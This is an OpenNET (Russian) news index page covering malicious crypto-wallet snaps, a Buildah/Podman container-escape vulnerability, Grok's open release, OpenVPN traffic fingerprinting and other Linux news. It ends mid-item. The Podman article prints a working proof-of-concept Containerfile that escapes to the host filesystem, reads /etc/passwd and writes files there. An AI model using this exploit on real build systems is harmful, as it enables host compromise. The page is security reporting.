The OpenNET Project / Index page

[ новости /+++ | форум | wiki | теги | ]

·19.03.2024 В Snap Store выявлены вредоносные приложения для работы с криптокошельками (49 +6)
  В каталоге приложений Snap Store, сопровождаемом компанией Canonical и продвигаемом для использования в Ubuntu, выявлено 10 приложений, стилизованных под официальные клиенты для популярных криптовалютых кошельков, но на деле не имеющие отношения к разработчикам данных проектов и выполняющие вредоносные действия. Более того, в каталоге данные приложения снабжены меткой "Safe", которая создаёт иллюзию того, что приложение проверено и является безопасным.

Приложения опубликованы пользователем digisafe00000 под именами, подобными "exodus-build-96567", но в списке приложений выглядят как обычные криповалютные приложения Exodus, Tronlink, Polygon, Electrum, Uniswap, Ladger, Metamask, JaxxLiberty, Avalanche и Trustwallet.

В настоящее время указанные приложения уже удалены из каталога Snap Store, но почти сразу после их удаления они были размещены заново под новым пользователем codeguard0x0000 c немного изменёнными именами пакетов (например, "exodus-build-71776" и "metamask-stable28798").

Похожая активность наблюдалась в феврале и привела к краже около 9 биткойнов (примерно 500 тысяч долларов) у пользователя, установившего поддельный клиент Exodus. Так как авторы вредоносных приложений легко обходят автоматическую систему проверки публикуемых пакетов в форуме компании Canonical некоторые участники предлагают вообще запретить в Snap Store публикацию неверифицированных приложений, связанных с криптовалютой, по аналогии с тем, как в 2022 году в платформе совместной разработки SourceHut была запрещена публикация криптовалютных проектов.

Приложения представляют собой муляжи, выводящие web-страницы с внешнего сайта (например, "http://89.116.111.145:5000/public/exodus/index.html") при помощи обёртки на базе WebKit GTK, симулирующей работу обычного настольного приложения (в февральском инциденте использовались фиктивные приложения, написанные на Flutter). Из функций работает только операция импортирования ключей и восстановления кошелька, а попытки создания нового кошелька завершаются выводом ошибки.

В случае если пользователь выполнит операцию импорта уже существующего кошелька, то связанные с ним фраза восстановления ключей отправляется на сервер злоумышленников, а пользователю показывается сообщение об ошибке восстановления кошелька. Получив доступ к ключам атакующие затем выводят все средства с кошелька жертвы.

  1. OpenNews: В Ubuntu Snap Store выявлены вредоносные пакеты
  2. OpenNews: Компания Canonical опубликовала заявление, связанное с вредоносным ПО в Snap Store
  3. OpenNews: Компрометация NPM-репозитория Ledger привела к подстановке вредоносных изменений
  4. OpenNews: Canonical готовит вариант Ubuntu Desktop, содержащий только пакеты Snap
  5. OpenNews: Root-уязвимость в инструментарии управления пакетами Snap
Обсуждение (49 +6) | Тип: Проблемы безопасности |
·18.03.2024 Уязвимость в Buildah и Podman, позволяющая обойти изоляцию контейнера (9 +6)
  В пакетах Buildah и Podman выявлена уязвимость (CVE-2024-1753), позволяющая получить полный доступ к файловой системе хост-окружения на стадии сборки контейнера, запускаемого с правами root. На системах с включённым SELinux доступ к хостовой ФС ограничивается режимом только чтения. Исправление пока доступно в виде патча, который несколько минут назад принят в кодовую базу Buildah.

Уязвимость вызвана тем, что при выполнении монтирования частей ФС через команду "mount --bind" во время сборки на стадии RUN, аргумент с исходным каталогом (параметр "source=") не проверяется на предмет существования в корневой ФС. Оформленный злоумышленником файл конфигурации Containerfile может использовать образ контейнера, в котором исходный каталог для монтирования оформлен в виде символической ссылки на корневую ФС. В этом случае операция монтирования приведёт к пробрасыванию внутрь контейнера корневой ФС хост-окружения, что позволит на стадии RUN получить полный доступ к файловой системе хост-окружния и организовать выход из контейнера во время сборки командами "buildah build" или "podman build".

Пример вредоносного файла Containerfile, сборка которого командой "podman build -f ~/Containerfile ." приведёт к показу содержимого /etc/passwd и созданию файлов /BIND_BREAKEOUT и /etc/BIND_BREAKOUT2 в хост-окружении:



   FROM alpine as base
   
   RUN ln -s / /rootdir
   RUN ln -s /etc /etc2

   FROM alpine

   RUN echo "ls container root"
   RUN ls -l /

   RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host"
   RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit

   RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host"
   RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 

  1. OpenNews: Выпуск Podman Desktop 1.2, графического интерфейса для управления контейнерами
  2. OpenNews: Уязвимость в cgroups v1, позволяющая выйти из изолированного контейнера
  3. OpenNews: Уязвимость в подсистеме io_uring ядра Linux, позволяющая получить права root из контейнера
  4. OpenNews: В Docker Hub выявлено 1600 вредоносных образов контейнеров
  5. OpenNews: Уязвимость в runc, позволяющая выбраться из контейнеров Docker и Kubernetes
Обсуждение (9 +6) | Тип: Проблемы безопасности |
·18.03.2024 Компания xAI, созданная Илоном Маском, открыла большую языковую модель Grok (97 +14)
  Компания xAI, основанная Илоном Маском и получившая около миллиарда долларов на развитие технологий, связанных с искусственным интеллектом, объявила об открытии большой языковой модели Grok, применяемой в чатботе, интегрированном в социальную сеть X (Twitter). Набор весовых коэффициентов, архитектура нейронной сети и примеры использования опубликованы под лицензией Apache 2.0. Для загрузки доступен готовый к применению архив с моделью, размером 296 ГБ (magnet).

Модель Grok предварительно обучена на большой коллекции текстовых данных, используя разработанный в xAI собственный стек обучения, и охватывает около 314 миллиардов параметров, что делает её крупнейшей из доступных открытых больших языковых моделей. Для сравнения недавно открытая Google модель Gemma насчитывает 7 млрд параметров, Sber GigaChat - 29 млрд параметров, Meta LLaMA - 65 млрд, Yandex YaLM - 100 млрд, OpenAI GPT-3.5 - 175 млрд, а лидер рынка, модель GPT-4, предположительно включает 1.76 триллиона параметров.

Открытый вариант модели Grok-1 опубликован в базовом представлении и не включает оптимизаций для определённых областей использования, таких как организация диалоговых систем. Для тестирования требуется GPU c большим объёмом памяти (каким именно не уточняется). В открытом доступе размещён статичный слепок модели, в то время как одной из особенностей развиваемого для Twitter-а чатбота Grok является динамическая адаптация к появляющемуся новому содержимому (для доступа к новым знаниям используется интеграция с платформой X/Twitter).

Построенный на базе Grok чатбот опережает GPT-3.5 в тестах на решение математических задач средней школы (GSM8k), формирование ответов на междисциплинарные вопросы (MMLU), дополнение кода на языке Python (HumanEval) и решение вузовских математических задач, описанных в формате LaTeX (MATH).

  1. OpenNews: Проект OpenAI открыл Transformer Debugger, отладчик для моделей машинного обучения
  2. OpenNews: ArtPrompt - атака на AI-системы, позволяющая обойти фильтры при помощи ASCII-картинок
  3. OpenNews: Google открыл AI-модель Gemma, основанную на технологиях, общих с чат-ботом Gemini
  4. OpenNews: Открыт код Jina Embedding, модели для векторного представления смысла текста
  5. OpenNews: Первый выпуск открытого AI-бота OpenAssistant, напоминающего ChatGPT
Обсуждение (97 +14) | Тип: К сведению |
·17.03.2024 Определение сеансов OpenVPN в транзитном трафике (68 +16)
  Группа исследователей из Мичиганского университета опубликовала результаты исследования возможности идентификации (VPN Fingerprinting) соединений к серверам на базе OpenVPN при мониторинге транзитного трафика. В итоге было выявлено три способа идентификации протокола OpenVPN среди других сетевых пакетов, которые могут использоваться в системах инспектирования трафика для блокирования виртуальных сетей на базе OpenVPN.

Тестирование предложенных методов в сети интернет-провайдера Merit, насчитывающего более миллиона пользователей, показало возможность идентификации 85% OpenVPN-сеансов при незначительном уровне ложных срабатываний. Для проверки был подготовлен инструментарий, который вначале в пассивном режиме на лету определял трафик OpenVPN, а затем удостоверяется в корректности результата через активную проверку сервера. На созданный исследователями анализатор был отзеркалирован поток трафика, интенсивностью примерно 20 Gbps.

В ходе эксперимента анализатор смог успешно определить 1718 из 2000 тестовых OpenVPN-соединений, установленных подставным клиентом, на котором было использовано 40 различных типовых конфигураций OpenVPN (метод успешно сработал для 39 из 40 конфигураций). Кроме того, за восемь дней проведения эксперимента в транзитном трафике было выявлено 3638 сеансов OpenVPN, из которых было подтверждено 3245 сеанса. Отмечается, что верхняя граница ложных срабатываний в предложенном методе на три порядка ниже, чем в ранее предлагавшихся методах, основанных на применении машинного обучения.

Отдельно была оценена работа методов защиты от отслеживания трафика OpenVPN в коммерческих сервисах - из 41 протестированного VPN-сервиса, использующего методы скрытия трафика OpenVPN, трафик удалось идентифицировать в 34 случаях. Сервисы, которые не удалось обнаружить, помимо OpenVPN использовали дополнительные слои для скрытия трафика (например, пробрасывание OpenVPN-трафика через дополнительный шифрованный туннель). В большинстве успешно определённых сервисов использовалось искажение трафика при помощи операции XOR, дополнительные слои обфускации без должного случайного дополнения трафика или наличие необфусцированных OpenVPN-служб на том же сервере.

Задействованные способы идентификации основываются на привязке к специфичным для OpenVPN шаблонам в незашифрованных заголовках пакетов, размеру ACK-пакетов и ответам сервера. В первом случае, в качестве объекта для идентификации на стадии согласования соединения может использоваться привязка к полю "opcode" в заголовке пакетов, которое принимает фиксированный диапазон значений и определённым образом меняется в зависимости от стадии установки соединения. Идентификация сводится в выявлению определённой последовательности изменения opcode в первых N-пакетах потока.

Второй способ основывается на том, что ACK-пакеты применяются в OpenVPN только на стадии согласования соединения и при этом имеют специфичный размер. Идентификация основывается на том, что ACK-пакеты заданного размера встречаются только в определённых частях сеанса (например, при использовании OpenVPN первый ACK-пакет обычно является третьим пакетом с данными, переданным в сеансе).

Третий метод является активной проверкой и обусловлен тем, что в ответ на запрос сброса соединения сервер OpenVPN отправляет определённый RST-пакет (проверка не работает при использовании режима "tls-auth" так как OpenVPN-сервер при нём игнорирует запросы от клиентов, не аутентифицированных через TLS).

  1. OpenNews: Доступен OpenVPN 2.6.0
  2. OpenNews: Уязвимости в OpenVPN и SoftEther VPN
  3. OpenNews: Уязвимость, позволяющая вклиниваться в TCP-соединения, осуществляемые через VPN-туннели
  4. OpenNews: NordVPN открыл код Linux-клиента и библиотек с реализацией MeshNet
  5. OpenNews: Серия атак TunnelCrack, направленных на перехват трафика VPN
Обсуждение (68 +16) | Тип: Проблемы безопасности |
·16.03.2024 Rocky Linux, Oracle и SUSE обеспечат дальнейшее сопровождение ядра Linux 4.14 (120 +19)
  Ассоциация OpenELA (Open Enterprise Linux Association), в прошлом году образованная компаниями CIQ (Rocky Linux), Oracle и SUSE для объединения усилий по обеспечению совместимости с RHEL, представила проект kernel-lts, в рамках которого обеспечит дополнительное сопровождения для некоторых устаревших LTS-веток ядра, после прекращения их официальной поддержки.

Первым ядром, для которого будет предоставлена дополнительная поддержка станет ветка 4.14, которая была опубликована в ноябре 2017 года и сопровождалась 6 лет. В январе основная команда разработчиков ядра прекратила сопровождение данной ветки. Силами OpenELA сопровождение возобновлено и обновления для ядра 4.14 будут выпускаться как минимум до декабря 2024 года. После финального выпуска ядра Linux 4.14.336 командой OpenELA уже выпущены расширенные обновления 4.14.337-openela, 4.14.338-openela и 4.14.339-openela.

Осуществляемое организацией OpenELA сопровождение будет производиться с соблюдением тех же правил и процессов, что применяются для обычных стабильных LTS-ядер. Никаких дополнительных ограничений, таких как привязка к определённому оборудованию или продуктам, вводиться не будет. Обновления будут выпускаться на основе работы по отслеживанию исправлений из актуальных веток ядра и их переносу в сопровождаемые расширенные LTS-ветки.

Кроме расширенного сопровождения LTS-веток ядра ассоциация OpenELA занимается поддержанием репозитория с пакетами, который можно использовать в качестве основы для создания дистрибутивов, полностью бинарно совместимых с Red Hat Enterprise Linux, идентичных по поведению (на уровне ошибок) с RHEL и пригодных для использования в качестве замены RHEL. Репозиторий поддерживается совместными усилиями команд разработчиков RHEL-совместимых дистрибутивов Rocky Linux, Oracle Linux и SUSE Liberty Linux, и включает пакеты, необходимые для формирования дистрибутивов, совместимых с ветками RHEL 8 и 9 (в планах RHEL 7). Репозиторий OpenELA занял место репозитория git.centos.org, поддержание которого было прекращено компанией Red Hat.

Разработчиками ядра продолжается сопровождение следующих longterm-веток ядра Linux:

  • 6.6 - до декабря 2026 г. (используется в Ubuntu 24.04).
  • 6.1 - до декабря 2026 г. + поддержка в рамках SLTS (используется в Debian 12 и main ветке OpenWRT).
  • 5.15 - до октября 2026 г. (используется в Ubuntu 22.04, Oracle Unbreakable Enterprise Kernel 7 и OpenWRT 23.05).
  • 5.10 - до декабря 2026 г. + поддержка в рамках SLTS (используется в Debian 11, Android 12 и OpenWRT 22).
  • 5.4 - до декабря 2025 г. (используется в Ubuntu 20.04 LTS и в Oracle Unbreakable Enterprise Kernel 6)
  • 4.19 - до декабря 2024 г. + поддержка в рамках SLTS (используется в Debian 10 и в Android 10).

Отдельно на базе ядер 4.4, 4.19, 5.10 и 6.1 организацией Linux Foundation предоставляются ветки SLTS (Super Long Term Support), которые сопровождается отдельно и поддерживаются 10-20 лет. Сопровождение SLTS-веток осуществляется в рамках проекта Civil Infrastructure Platform (CIP), в котором участвуют такие компании, как Toshiba, Siemens, Renesas, Bosch, Hitachi и MOXA, а также вовлечены мэйнтейнеры LTS-веток основного ядра, разработчики Debian и создатели проекта KernelCI. Ядра SLTS ориентированы на применение в технических системах гражданской инфраструктуры и в важных промышленных системах.

  1. OpenNews: Прекращение поддержки LTS-ядра Linux 4.14
  2. OpenNews: Релиз ядра Linux 4.14
  3. OpenNews: Опубликован репозиторий OpenELA для создания дистрибутивов, совместимых с RHEL
  4. OpenNews: Rocky Linux, Oracle и SUSE создали совместный репозиторий для RHEL-совместимых дистрибутивов
  5. OpenNews: Организация Linux Foundation выпустила LTSI-ветку на базе ядра Linux 4.14
Обсуждение (120 +19) | Тип: К сведению |
·16.03.2024 Выпуск библиотеки Libadwaita 1.5 для создания интерфейсов в стиле GNOME (143 +10)
  Проект GNOME опубликовал выпуск библиотеки Libadwaita 1.5, включающей набор компонентов для стилевого оформления интерфейса пользователя, соответствующего рекомендациям GNOME HIG (Human Interface Guidelines). Библиотека включает в себя готовые виджеты и объекты для построения приложений, соответствующих общему стилю GNOME, интерфейс которых может адаптивно подстраиваться под экраны любого размера. Код библиотеки написан на языке Си и распространяется под лицензией LGPL 2.1+.

Библиотека libadwaita используется в сочетании с GTK4 и включает компоненты используемой в GNOME темы оформления Adwaita, которые были вынесены из GTK в отдельную библиотеку. Вынос элементов визуального оформления GNOME в отдельную библиотеку позволяет развивать необходимые для GNOME изменения отдельно от GTK, что даёт возможность разработчикам GTK сосредоточиться на базовых вещах, а разработчикам GNOME более быстро и гибко продвигать необходимые для себя изменения стилевого оформления, не затрагивая сам GTK.

В библиотеку входят типовые виджеты, охватывающих различные элементы интерфейса, такие как списки, панели, блоки редактирования, кнопки, вкладки, формы поиска, диалоговые окна и т.п. Предложенные виджеты позволяют создавать универсальные интерфейсы, которые органично функционируют как на крупных экранах ПК и ноутбуков, так и на небольших сенсорных экранах смартфонов. Интерфейс приложений динамически меняется в зависимости от размера экрана и доступных устройств ввода. Библиотека также включает набор стилей Adwaita, приводящих внешний вид в соответствие с рекомендациями GNOME, без необходимости выполнения ручной адаптации.

Основным изменением в libadwaita 1.5 стала переработка адаптивных виджетов для создания диалоговых окон, подстраивающихся под размер видимой области. В отличие от традиционных диалогов, которые размещаются в отдельных окнах, новые диалоги формируются на стороне клиента, отрисовываются внутри существующих окон и не могут выходить за пределы родительского окна. Подобный подход упрощает создание универсальных диалогов, сочетаемых с интерфейсами для мобильных и настольных систем, а также предоставляет дополнительные возможности для управления диалогами (например, не нужно отслеживать выход за границу окна, можно выбирать поведение в отношении кнопок закрытия, обеспечивается автоматическое развёртывание на весь экран в мобильных версиях приложений, учитывается стиль текущего окна, а не системы, при затемнении диалога).

В дальнейшем планируется реализовать ещё один вариант подобных диалогов, привязанных не к окнам, а ко вкладкам внутри окна, что может быть востребовано в таких приложениях, как браузеры для того, чтобы связанные со вкладкой диалоги не перекрывали основное окно при переключении между вкладками.

Для мобильных устройств реализована поддержка размещения диалогов в форме листов, закреплённых в нижней части экрана (bottom sheets), а не в форме листов, выровненных по центру. Прикреплённые к нижней части диалоги избавляют пользователей от путаницы с закрытием окон - в подобных диалогах часть родительского окна остаётся видимой и кнопки закрытия родительского окна и самого диалога явно разделены, поэтому их теперь трудно спутать.

Управление новыми диалогами производится при помощи класса AdwDialog, работа с которым в большинстве ситуаций походит на использование класса GtkWindow, а различия сводятся к операциям отображения и закрытию. Например, свойство ":transient-for" заменено на параметр в функции adw_dialog_present(), добавлен новый сигнал "::close-attempt", изменена обработка параметра ":can-close". Вместо классов AdwPreferencesWindow, AdwAboutWindow и AdwMessageDialog с новыми диалогами предложено использовать классы AdwPreferencesDialog, AdwAboutDialog и AdwAlertDialog.

Диалоги, которые не имеют родительского окна, по-прежнему будут обрабатываться в форме отдельных окон. Как окна также будут функционировать диалоги, родительские окна которых не могут быть использованы для размещения диалогов, например, если они не допускают изменения размера или для них отсутствуют классы AdwWindow и AdwApplicationWindow.

Не связанные с переработкой диалогов изменения в Libadwaita 1.5:

  • В класс AdwEntryRow добавлено свойство ":text-length" для ограничения размера текста в поле ввода.
  • В класс AdwMessageDialog добавлен метод remove_response().
  • В класс AdwBreakpointBin, позволяющий менять интерфейс пользователя произвольным образом в зависимости от размера окна, добавлена возможность программного удаления точек останова.
  • В класс AdwSwipeTracker добавлен флаг ":allow-window-handle", допускающий пролистывание поверх верхней панели (используется в листах, прикреплённых к нижнему краю).
  • Повышена яркость цветов, используемых при затенении окон при тёмном стиле оформления.

  1. OpenNews: Доступен графический тулкит GTK 4.14 с новыми движками для OpenGL и Vulkan
  2. OpenNews: В звуковом редакторе Ardour 8.4 создано собственное ответвление GTK2
  3. OpenNews: Для GNOME предложены изменения, нацеленные на прекращение поддержки X11
  4. OpenNews: Опубликовано пользовательское окружение GNOME 45
  5. OpenNews: Выпуск библиотеки Libadwaita 1.4 для создания интерфейсов в стиле GNOME
Обсуждение (143 +10) | Тип: Программы |
·15.03.2024 Первый выпуск дистрибутива TileOS (97 +11)
  Доступен выпуск дистрибутива TileOS 1.0 "T-Rex", построенного на пакетной базе Debian и предлагающего рабочий стол, использующий мозаичные оконные менеджеры. TileOS преследует те же цели, что и дистрибутив Ubuntu Sway Remix (развивается тем же автором), предлагая готовый к использованию интерфейс, не требующий дополнительной настройки и ориентированный как на опытных пользователей Linux, так и на новичков, желающих попробовать окружение мозаичных оконных менеджеров, не тратя большое количество времени на их настройку.

Однако, в отличии от Ubuntu Sway Remix, TileOS гораздо более открыт для различных изменений и кастомизаций, а также избавлен от каких-либо потенциальных проблем с авторскими правами (Ubuntu Sway Remix использует зарегистрированные товарные знаки Canonical, но официального ответа по поводу включения дистрибутива в официальное семейство Ubuntu до сих пор не получено). Для загрузки подготовлены сборки для архитектуры amd64 (в будущем планируется обеспечить поддержку arm64, в частности плат Raspberry Pi). Исходный код компонентов TileOS доступен на GitLab.

Основное внимание в TileOS уделяется оконным менеджерам, использующим протокол Wayland. Официально представлены редакции с рабочими столами Sway и River, в разработке находятся редакции с SwayFX (форк Sway, дополненный различными эффектами рабочего стола) и Qtile. Дистрибутив использует пакетную базу Debian Stable, однако из тестовой ветки переносятся различные улучшения, более свежие версии некоторого ПО и графических драйверов. Помимо этого, в состав включён ряд исправлений, оптимизирующих работу дисковой подсистемы и памяти, а также перенесены некоторые улучшения из Ubuntu, например монтирование дисков в файловом менеджере без запроса пароля, и другие.

Ключевые особенности TileOS:

  • Ядро Linux 6.6.15 с улучшенным временем отклика (опция CONFIG_HZ=1000, в Debian используется CONFIG_HZ=300).
  • Набор открытых видеодрайверов, Mesa 23.2.1 и Xwayland 23.2.2.
  • По умолчанию задействован механизм Zram, с использованием алгоритма сжатия zstd.
  • Предустановлено большое число несвободных драйверов и прошивок (firmware), что существенно расширяет поддержку различного оборудования.
  • По умолчанию подключены репозитории с дополнительным ПО, таким как VirtualBox, Visual Studio Code, Librewolf, OnlyOffice и Brave.
  • Реализована возможность выбора дополнительного ПО в установщике Calamares.
  • В качестве реализации системной шины D-Bus задействован D-Bus Broker.
  • В качестве звукового сервера задействован PipeWire.
  • Управление пользовательскими сеансами осуществляется средствами systemd, что позволяет корректно завершать запущенные приложения и компоненты при перезагрузке, выключении или выходе из системы, а также обеспечить корректную обработку автозапуска приложений.
  • В качестве демона OOM Killer в редакции Sway задействован systemd-oomd. В остальных редакциях используется EarlyOOM.
  • Для оформления приложений задействована единая тема Catppuccin, использующая мягкие пастельные цвета.

Особенности редакции Sway:

  • Рабочий стол развивается параллельно с дистрибутивом Ubuntu Sway Remix, обеспечивается взаимный перенос тех или иных изменений.
  • Задействованы многие утилиты из проекта NWG-Shell, такие как скрипт автоматической раскладки окон Autotiling, полноэкранное меню приложений nwg-drawer, утилита для настройки параметров дисплея nwg-displays, утилита для настройки внешнего вида nwg-look, менеджер сеансов nwg-bar и nwg-wrapper, позволяющий выводить на рабочий стол содержимое любых скриптов (через него реализована подсказка по используемым в дистрибутиве горячим клавишам).
  • Предустановлен минимальный набор компонентов, включающий файловый менеджер PcmanFM-Qt, текстовый редактор Pluma, эмулятор терминала Alacritty, архиватор Engrampa и другие. Дополнительное ПО предлагается выбрать на этапе установки системы, либо установить непосредственно после установки системы

Особенности редакции River

  • Задействован динамический оконный менеджер River, написанный на языке zig и вобравший себя многое из DWM, Awesome и Bwpwm. River отличается простотой настройки (файл конфигурации — обычный shell-скрипт, последовательно выполняющий команды для шины IPC riverctl), широкой гибкостью и меньшим потреблением ресурсов, чем Sway. Поскольку River находится в стадии активной разработки, и пока значительно уступает в функциональном плане Sway, редакция TileOS River носит экспериментальный характер.
  • Как и в редакции Sway, задействованы компоненты проекта NWG-Shell, кроме тех, что явно не поддерживают River (например вместо nwg-displays используется wdisplays).

  1. OpenNews: Релиз пользовательского окружения Sway 1.9, использующего Wayland
  2. OpenNews: Выпуск дистрибутива Ubuntu Sway Remix 23.10
  3. OpenNews: Первый выпуск композитного сервера Niri, использующего Wayland
  4. OpenNews: Выпуск среды рабочего стола Regolith 3.1
  5. OpenNews: Сотрудник Canonical представил miracle-wm, композитный менеджер на базе Wayland и Mir
Обсуждение (97 +11) | Автор: Sunderland93 | Тип: Программы |
·15.03.2024 Mozilla закрывает общедоступный сервис определения местоположения (50 –2)
  Компания Mozilla объявила о решении по закрытию проекта MLS (Mozilla Location Service), c 2013 года развивавшего общедоступный сервис для определения географического местоположения на основании информации об известных точках доступа Wi-Fi (привязка к BSSID/MAC), базовых станциях мобильных операторов (привязка к Cell-ID) и выдаваемых абоненту IP-адресах (GeoIP). Сервис позволял определять примерное местоположение на карте без применения спутниковых систем навигации, таких как GPS и ГЛОНАС.

С 2019 года возможности сервиса были ограничены из-за обвинений в нарушении патентов компании Skyhook Holdings и заключения внесудебного соглашения, в соответствии с которым компания Mozilla установила лимит в 100 тысяч обращений к API в день для коммерческих проектов. Введённые ограничения привели к отказу проекта Sailfish от использования MLS и потере инвестиционной привлекательности MLS в глазах Mozilla. При этом MLS продолжал применяться в проекте microG и во многих альтернативных Android-прошивках вместо проприетарного сервиса Google Network Location.

В качестве причины сворачивания проекта упоминается продолжающаяся тенденция к снижению точности определения местоположения в MLS в сочетании с отсутствием желания увеличить инвестиции или возродить программу MozStumbler. База данных с привязкой координат к базовым станциям и Wi-Fi-сетям пополнялась благодаря действиям энтузиастов, установивших на свои смартфоны мобильное приложение MozStumbler. Приложение MozStumbler было привязано к сервису stumbler, который входил в состав старого Firefox для Android вплоть до версии 69, на смену которому в 2020 году пришла новая мобильная редакция браузера, развиваемая под кодовым именем Fenix.

В начале 2021 года разработка MozStumbler была остановлена и приложение так и не было адаптировано для Android 10 и более новых версий платформы. Несмотря на наличие альтернативных приложений, таких как TowerCollector, в настоящее время поступление новых данных в БД MLS существенно снизилось и актуальность информации оставляет желать лучшего. Из альтернативных открытых БД с данными о привязке местоположения можно отметить OpenCellID.

Предложен следующий план постепенного отключения сервиса:

  • Начиная с 13 марта прекращена выдача новых ключей доступа к API.
  • 27 марта будет прекращён приём POST-запросов данных через API, а также будет остановлена публикация новых дампов БД для экспорта в другие системы.
  • 10 апреля все ранее опубликованные дампы БД будут удалены и перестанут быть доступны для загрузки.
  • 12 июня будут удалены все ключи доступа к API, кроме ключей, используемых в проектах Mozilla.
  • 31 июля репозиторий с кодом платформы будет переведён на GitHub в архивных режим. Для тех, кто пожелает возродить сервис и поддерживать его собственными силами, исходный код платформы Mozilla Ichnaea, лежащей в основе MLS, останется доступен под лицензией Apache License 2.0.

  1. OpenNews: Mozilla развивает собственный сервис для определения местоположения
  2. OpenNews: Выпуск Android-прошивки CalyxOS 2.8.0, не привязанной к сервисам Google
  3. OpenNews: Проект microG выпустил сборку LineageOS с альтернативной реализацией сервисов Google
  4. OpenNews: Представлен gps-share, инструмент для организации совместного доступа к GPS
  5. OpenNews: Выпуск GeoClue 2.3.0, фреймворка для определения местоположения
Обсуждение (50 –2) | Тип: К сведению | Интересно
·14.03.2024 Проект PiDP-10 развивает клон мэйнфрейма PDP-10 на базе платы Raspberry Pi 5 (174 +33)
  Энтузиасты ретрокомпьютеров опубликовали проект PiDP-10, нацеленный на создание рабочей реконструкции мэйнфрейма DEC PDP-10 KA10 , образца 1968 года. Для устройства изготовлен новый пластиковый корпус управляющей панели, оснащённый 124 ламповыми индикаторами и 74 переключателями. Вычислительные составляющие и программное окружение воссозданы при помощи платы Raspberry Pi 5 с дистрибутивом Raspberry Pi OS, основанным на Debian, и инструментария SIMH, который поддерживает полную симуляцию PDP-10, включая воспроизведение известных ошибок.

В эмуляторе можно запустить многозадачную и многопользовательскую операционную систему TOPS-10, которая изначально поставлялась на мэйнфреймах PDP-10. В качестве опции также поддерживается запуск альтернативной операционной системы ITS, разработанной в 1967 году в MIT для PDP-10. Для запуска в ITS доступно более 400 исторических приложений, восстановленных из ленточных архивов MIT. Код использованных проектом компонентов и скрипт для автоматизации установки опубликованы на GitHub. Для запуска ITS использован развиваемый энтузиастами сборочный инструментарий.

На 1 апреля в музее компьютерной техники при Массачусетском технологическом институте намечено мероприятие по вводу PiDP-10 в эксплуатацию, которое будет совмещено с семинаром на тему истории использования PDP-10 в MIT. Из параллельно развиваемых проектов можно отметить создание клонов для компьютеров Whirlwind (1945), PDP-1 (1959), PDP-8 (1968) и PDP-11/70 (1975). Проект также занимается полной реконструкцией помещения вычислительного центра с PDP-10, которая позволит полностью погрузиться в атмосферу компьютерной техники 1960-х.



  1. OpenNews: Доступен открытый мобильный телефон с дисковым набором
  2. OpenNews: Проект Open SIMH продолжит развитие симулятора SIMH как свободного проекта
  3. OpenNews: Релиз cool-retro-term 1.0, эмулятора терминала в стиле ЭЛТ-дисплеев
  4. OpenNews: Сопровождающий симулятора SIMH изменил лицензию из-за разногласий, касающихся функциональности
  5. OpenNews: Проект по воскрешению первозданного UNIX для PDP-7
Обсуждение (174 +33) | Тип: К сведению |
·14.03.2024 Уязвимость в процессорах Intel Atom, приводящая к утечке информации из регистров (88 +4)
  Компания Intel раскрыла сведения о микроархитектурной уязвимости (CVE-2023-28746) в процессорах Intel Atom (E-core), позволяющей определить данные, используемые процессом, до этого выполнявшемся на том же ядре CPU. Уязвимость, которая получила кодовое имя RFDS (Register File Data Sampling), вызвана возможностью определения остаточной информации из регистровых файлов (RF, Register File) процессора, которые используются для совместного хранения содержимого регистров во всех задачах на том же ядре CPU.

Проблема выявлена инженерами Intel в ходе внутреннего аудита. Детальная информация о методе эксплуатации уязвимости не раскрывается. Утверждается, что атакующий не может целенаправленно управлять выбором процессов для извлечения данных, т.е. оседание доступной для извлечения информации носит случайный характер. Тем не менее, мониторинг остаточной информации может привести к утечке конфиденциальных данных из процессов других пользователей, ядра системы, виртуальных машин, анклавов SGX и обработчиков в режиме SMM.

Утечке подвержены векторные регистры, которые активно используются при шифровании, в функциях копирования памяти и при обработке строк, например, в функциях memcpy, strcmp и strlen. Утечка возможна и через регистры для хранения чисел с плавающей запятой и целых чисел, но они обновляются в процессе выполнения задач значительно чаще векторных регистров, поэтому утечка через них менее вероятна. Остаточные данные напрямую не остаются в регистрах, но могут извлекаться из регистровых файлов при помощи методов атак по сторонним каналам, таких как анализ данных в кэше CPU.

Уязвимость затрагивает только процессоры Atom на базе микроархитектур Alder Lake, Raptor Lake, Tremont, Goldmont и Gracemont. Так как уязвимые процессоры не поддерживают режим HyperThreading, утечка возможна только в рамках одного потока выполнения текущим ядром CPU. Изменения для блокирования уязвимости включены в состав обновления микрокода microcode-20240312-staging. Методы защиты от уязвимости идентичны тем, что уже применяются для блокирования ранее выявленных атак класса MDS (Microarchitectural Data Sampling), SRBDS (Special Register Buffer Data Sampling), TAA (Transactional Asynchronous Abort), DRPW (Device Register Partial Write) и SBDS (Shared Buffers Data Sampling).

Для блокирования утечки в ядре и гипервизорах помимо обновления микрокода требуется применение программных методов защиты, основанных на использовании инструкции VERW для очистки содержимого микроархитектурных буферов в момент возвращения из ядра в пространство пользователя или при передаче управления гостевой системе. Указанная защита уже добавлена в гипервизор Xen и ядро Linux. Для включения защиты в ядре Linux можно использовать при загрузке ядра флаг "reg_file_data_sampling=on", а информацию о подверженности уязвимости и наличии необходимого для защиты микрокода можно оценить в файле "/sys/devices/system/cpu/vulnerabilities/reg_file_data_sampling".

  1. OpenNews: Downfall - атака на CPU Intel, приводящая к утечке данных из чужих процессов
  2. OpenNews: Уязвимости в механизме MMIO процессоров Intel
  3. OpenNews: Представлен новый класс уязвимостей в процессорах Intel
  4. OpenNews: LVI - новый класс атак на механизм спекулятивного выполнения в CPU
  5. OpenNews: SQUIP - атака на процессоры AMD, приводящая к утечке данных по сторонним каналам
Обсуждение (88 +4) | Тип: Проблемы безопасности |
·14.03.2024 Планы в отношении поддержки в Firefox второй и третьей версий манифеста Chrome (137 +30)
  Разработчики из компании Mozilla обновили информацию о планах, связанных с поддержкой в Firefox второй и третьей версий манифеста Chrome. Компания Google в июне этого года намерена прекратить поддержку дополнений, использующих вторую версию манифеста, в тестовых выпусках Chrome 127 (Dev, Canary и Beta). В стабильной ветке поддержка второй версии манифеста будет прекращена не раньше июля.

